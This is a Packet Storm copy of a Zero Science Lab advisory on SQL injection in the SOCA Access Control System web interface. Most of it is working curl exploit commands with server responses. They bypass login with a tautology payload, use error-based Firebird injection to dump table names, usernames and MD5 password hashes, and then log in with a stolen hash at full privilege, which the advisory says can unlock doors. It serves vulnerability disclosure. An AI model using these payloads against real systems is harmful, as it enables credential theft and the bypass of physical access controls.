exploit the possibilities

SOCA Access Control System 180612 SQL Injection

SOCA Access Control System 180612 SQL Injection
Posted May 13, 2019
Authored by LiquidWorm | Site zeroscience.mk

SOCA Access Control System version 180612 suffers from remote SQL injection vulnerabilities that allow for authentication bypass.

tags | exploit, remote, vulnerability, sql injection
MD5 | 97129f56738d71ee95288b47dbdca24b

SOCA Access Control System 180612 SQL Injection

Change Mirror Download

SOCA Access Control System 180612 SQL Injection And Authentication Bypass


Vendor: SOCA Technology Co., Ltd
Product web page: http://www.socatech.com
Affected version: 180612, 170000 and 141007

Summary: The company's products include proximity and fingerprint access
control system, time and attendance, electric locks, card reader and writer,
keyless entry system and other 30 specialized products. All products are
attractively designed with advanced technology in accordance with users'
safety and convenience which also fitted international standard.

Desc: The Soca web access control system suffers from multiple SQL Injection
vulnerabilities. Input passed via multiple POST parameters is not properly
sanitised before being returned to the user or used in SQL queries. This
can be exploited to manipulate SQL queries by injecting arbitrary SQL code
and bypass the authentication mechanism. It allows the attacker to remotely
disclose password hashes and login with MD5 hash with highest privileges
resulting in unlocking doors and bypass the physical access control in place.

Tested on: Windows NT 6.1 build 7601 (Windows 7 Service Pack 1) i586
Windows NT 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
Apache/2.2.22 (Win32)
PHP/5.4.13
Firebird/InterBase DBMS


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2019-5519
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5519.php


20.04.2018

--


Authentication bypass / SQL injection via pos_id POST parameter in Login.php:
-----------------------------------------------------------------------------
-version 141007

# curl -X POST --data "pos_id=' or 1=1--&pos_pw=whatever&Lang=eng" -i\
"http://10.0.0.4/Login/Login.php"

HTTP/1.1 200 OK
Date: Fri, 03 May 2018 13:37:25 GMT
Server: Apache/2.2.22 (Win32) PHP/5.4.13
X-Powered-By: PHP/5.4.13
Set-Cookie: PHPSESSID=u412baebe2uogds21apgcsvhr6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 5
Content-Type: text/html

true


Authentication bypass / SQL injection via ID POST parameter in Login.php:
=========================================================================
-version 180612

# curl -X POST --data "ID=' or 1=1--&PW=whatever&Lang=eng"\
"http://10.0.0.3/Login/Login.php"

{"LoginCheck":true,"Session":{"IP":"10.0.0.9","sess_Lang":"eng","sess_id":"' or 1=1--","sess_passwd":"008c5926ca861023c1d2a36653fd88e2","sess_Access":{"Reader":1,"User":1,"Card":1,"Groups":1,"Historys":1,"Special_Query":1,"Permission":1,"WorkGroup":1,"Attend":1,"WorkTime":1,"Dep":1,"Holiday":1,"ConvertHistory":1,"Backup_Database":1,"Auto_Update_Card":1,"Mail_Report":1}}}


Authenticated SQL injection via cidx POST parameter in Card_Edit_GetJson.php:
=============================================================================

Dump current user:
------------------

# curl -X POST --data "cidx=144 and 1=(user)"\
"http://10.0.0.3/Card/Card_Edit_GetJson.php"\
-H Cookie: PHPSESSID=u412baebe2uogds21apgcsvhr6"

Warning: ibase_fetch_assoc(): conversion error from string "SYSDBA"; in C:\SOCA\WebSite\Card\Card_Edit_GetJson.php on line 17

Dump table:
-----------

# curl -X POST --data "cidx=144 and 1=(select+first+1+skip+57+distinct+rdb$relation_name+from+rdb$relation_fields)"\
"http://10.0.0.3/Card/Card_Edit_GetJson.php"\
-H Cookie: PHPSESSID=u412baebe2uogds21apgcsvhr6"

Warning: ibase_fetch_assoc(): conversion error from string "USERS"; in C:\SOCA\WebSite\Card\Card_Edit_GetJson.php on line 17

Dump column:
------------

# curl -X POST --data "cidx=144 and 1=(select+first+1+skip+2+distinct+rdb$field_name+from+rdb$relation_fields where rdb$relation_name=(select+first+1+skip+57+distinct+rdb$relation_name+from+rdb$relation_fields))"\
"http://10.0.0.3/Card/Card_Edit_GetJson.php"\
-H Cookie: PHPSESSID=u412baebe2uogds21apgcsvhr6"

Warning: ibase_fetch_assoc(): conversion error from string "U_NAME"; in C:\SOCA\WebSite\Card\Card_Edit_GetJson.php on line 17

Dump column:
------------

# curl -X POST --data "cidx=144 and 1=(select+first+1+skip+2+distinct+rdb$field_name+from+rdb$relation_fields where rdb$relation_name=(select+first+1+skip+56+distinct+rdb$relation_name+from+rdb$relation_fields))"\
"http://10.0.0.3/Card/Card_Edit_GetJson.php"\
-H Cookie: PHPSESSID=u412baebe2uogds21apgcsvhr6"

Warning: ibase_fetch_assoc(): conversion error from string "U_PASSWORD"; in C:\SOCA\WebSite\Card\Card_Edit_GetJson.php on line 17

Dump username and Idx from USERS table:
---------------------------------------

# curl -X POST --data "cidx=144 and 1=(select+first+1+skip+0+U_NAME || U_IDX+from+USERS)"\
"http://10.0.0.3/Card/Card_Edit_GetJson.php"\
-H Cookie: PHPSESSID=u412baebe2uogds21apgcsvhr6"

Warning: ibase_fetch_assoc(): conversion error from string "USER1"; in C:\SOCA\WebSite\Card\Card_Edit_GetJson.php on line 17

Dump passwords from UAC table:
------------------------------

# curl -X POST --data "cidx=144 and 1=(select+first+1+skip+0+U_PASSWORD+from+UAC)"\
"http://10.0.0.3/Card/Card_Edit_GetJson.php"\
-H Cookie: PHPSESSID=u412baebe2uogds21apgcsvhr6"

Warning: ibase_fetch_assoc(): conversion error from string "4a7d1ed414474e4033ac29ccb8653d9b"; in C:\SOCA\WebSite\Card\Card_Edit_GetJson.php on line 17


Login with MD5:
===============

# curl -X POST --data "ID=USER&PW=4a7d1ed414474e4033ac29ccb8653d9b&Lang=eng"
"http://10.0.0.3/Login/Login.php"\

{"LoginCheck":true,"Session":{"IP":"10.0.0.9","sess_Lang":"eng","sess_id":"USER","sess_passwd":"4a7d1ed414474e4033ac29ccb8653d9b","sess_Access":{"Reader":1,"User":1,"Card":1,"Groups":1,"Historys":1,"Special_Query":1,"Permission":1,"WorkGroup":1,"Attend":1,"WorkTime":1,"Dep":1,"Holiday":1,"ConvertHistory":1,"Backup_Database":1,"Auto_Update_Card":1,"Mail_Report":1}}}

Login or Register to add favorites

File Archive:

January 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    0 Files
  • 3
    Jan 3rd
    20 Files
  • 4
    Jan 4th
    4 Files
  • 5
    Jan 5th
    37 Files
  • 6
    Jan 6th
    20 Files
  • 7
    Jan 7th
    4 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    0 Files
  • 10
    Jan 10th
    18 Files
  • 11
    Jan 11th
    8 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    31 Files
  • 14
    Jan 14th
    2 Files
  • 15
    Jan 15th
    2 Files
  • 16
    Jan 16th
    2 Files
  • 17
    Jan 17th
    18 Files
  • 18
    Jan 18th
    13 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close